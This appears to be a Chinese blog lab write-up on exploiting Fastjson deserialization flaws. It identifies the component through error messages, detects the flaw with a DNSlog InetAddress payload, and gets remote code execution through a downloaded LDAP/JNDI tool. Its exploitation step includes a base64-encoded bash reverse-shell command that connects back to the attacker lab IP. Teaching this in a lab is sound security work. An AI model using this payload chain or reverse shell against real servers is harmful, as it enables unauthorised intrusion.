Fastjson反序列化漏洞

预备知识
①  概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

②  漏洞信息
fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。影响版本fastjson <= 1.2.24。

Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。影响版本fastjson <1.2.48。

③  漏洞修复
fastjson 的最新版本为 1.2.58

建议广大用户对自身的业务/产品进行组件自查,确认 fastjson 版本至少升级到 1.2.58。

同时确认自身服务的 Java 环境版本,低于8u121 7u13 6u141 的用户也请及时升级环境版本,以防受到其他严重漏洞影响。

④  jndi注入
https://blog.csdn.net/he_and/article/details/105586691

实验目的
通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。

实验环境
靶机:Centos7+docker+fastjson1.2.25   IP地址:10.1.1.119:8080

攻击机:Kali  IP地址:10.1.1.148

利用工具请在实验机内下载使用:http://tools.hetianlab.com/tools/fastjsonRCE.zip 

实验步骤一
近年来,Fastjson反序列化漏洞比较热门,作为一个刚入门的小白,你也想认识一下这个漏洞。我们这里通过ldap+jndi注入的方式实现RCE,步骤分为三步:

①   认识json数据格式及识别Fastjson组件
②   漏洞发现
③   漏洞利用

任务描述:认识json数据格式及识别Fastjson组件

前面说了,它是一款json解析器,所以以json格式传输的数据都有可能使用了Fastjson来进行解析,那么什么是json格式的数据呢?比如这种:

以及这种:

或者是这种(post data里的内容):


访问试验机:http://ip:port,即可看到一个json对象被返回

抓包,右键选择change request method我们将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

那么如何去识别网站是否使用了Fastjson组件呢?

这里可以使用原始报错回显,如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样。

输入:{"name":"

可以看到报错中包含了fastjson的字段。

实验步骤二
任务描述:漏洞发现(利用dnslog来进行辅助漏洞发现,需要在外网中才能使用,因为实验处于内网,所以该步骤仅作演示)

①  首先从dnslog获取一个域名,常用的dnslog有:http://www.dnslog.cn/,https://dnslog.io/,http://ceye.io/

②  然后执行检测poc:
{"name":{"@type":"java.net.InetAddress","val":"example.com"}}

原理是 java.net.InetAddress 这个类在实例化时会尝试对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。


实验步骤三
任务描述:漏洞利用(反弹shell)


前面讲了在外网中发现漏洞,那么如果在内网中我们可以使用盲打的方式,意思就是看到它使用了fastjson我们直接对其进行利用,我们这里通过ldap+jndi注入的方式实现RCE,基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。下载利用工具:

http://tools.hetianlab.com/tools/fastjsonRCE.zip

解压后进入到文件夹里,执行
java -cp fastjson_tool.jar fastjson.HLDAPServer ip port"要执行的命令"

注:该命令会在本地port端口上启动一个ldap服务器,ip为本机IP,并指定加载远程类,如果是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要base64编码一下。

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

这里使用python将反弹shell的命令进行base64编码

然后执行命令启动ldap服务器(注意,base64编码的反弹shell命令替换到花括号里echo,后面)

java -cp fastjson_tool.jar fastjson.HLDAPServer 10.1.1.148 1234 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS4xNDgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"

启动后会自动生成payload

利用nc监听一个端口,该端口为反弹shell的接收端口

将生成的payload复制到burpsuite然后执行,修改请求类型为POST,修改 Content-Type 为 application/json 

可以看到nc监听的端口成功接收到了一个shell

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值